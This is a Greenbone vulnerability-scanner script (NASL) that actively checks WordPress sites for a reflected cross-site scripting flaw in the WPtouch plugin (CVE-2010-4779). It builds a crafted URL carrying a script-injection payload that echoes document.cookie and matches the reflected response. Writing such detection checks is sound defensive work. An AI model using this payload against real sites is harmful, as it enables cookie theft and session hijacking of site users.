WordPress WPtouch Plugin < 3.1.1 'wptouch_settings' Parameter XSS Vulnerability - Active Check

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:wordpress:wordpress";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.802014");
  script_version("2024-11-08T15:39:48+0000");
  script_tag(name:"last_modification", value:"2024-11-08 15:39:48 +0000 (Fri, 08 Nov 2024)");
  script_tag(name:"creation_date", value:"2011-04-11 14:40:00 +0200 (Mon, 11 Apr 2011)");
  script_cve_id("CVE-2010-4779");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_name("WordPress WPtouch Plugin < 3.1.1 'wptouch_settings' Parameter XSS Vulnerability - Active Check");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_wordpress_http_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("wordpress/http/detected");

  script_xref(name:"URL", value:"http://secunia.com/advisories/42438");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/45139");
  script_xref(name:"URL", value:"http://www.htbridge.ch/advisory/xss_in_wptouch_wordpress_plugin.html");
  script_xref(name:"URL", value:"http://wordpress.org/extend/plugins/wptouch");

  script_tag(name:"summary", value:"The WordPress WPtouch plugin is prone to a cross-site scripting
  (XSS) vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"insight", value:"The flaw is due to input validation error in 'wptouch_settings'
  parameter to 'wp-content/plugins/wptouch/include/adsense-new.php', which is not properly sanitised
  before being returned to the user.");

  script_tag(name:"impact", value:"Successful exploitation will allow attackers to execute arbitrary
  web script or HTML in a user's browser session in the context of an affected site.");

  script_tag(name:"affected", value:"WordPress WPtouch Plugin 1.9.19.4 and 1.9.20 are known to be
  affected. Other versions may also be affected.");

  script_tag(name:"solution", value:"Update to version 3.1.1 or later.");

  script_tag(name:"qod_type", value:"remote_analysis");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

url = dir + "/wp-content/plugins/wptouch/include/adsense-new.php?wptouch_settings[adsense-id]=',};//--></script><script>alert(document.cookie);</script><!--";

if(http_vuln_check(port:port, url:url, pattern:"><script>alert\(document\.cookie\);</script><!--", check_header:TRUE)) {
  report = http_report_vuln_url(port:port, url:url);
  security_message(port:port, data:report);
  exit(0);
}

exit(99);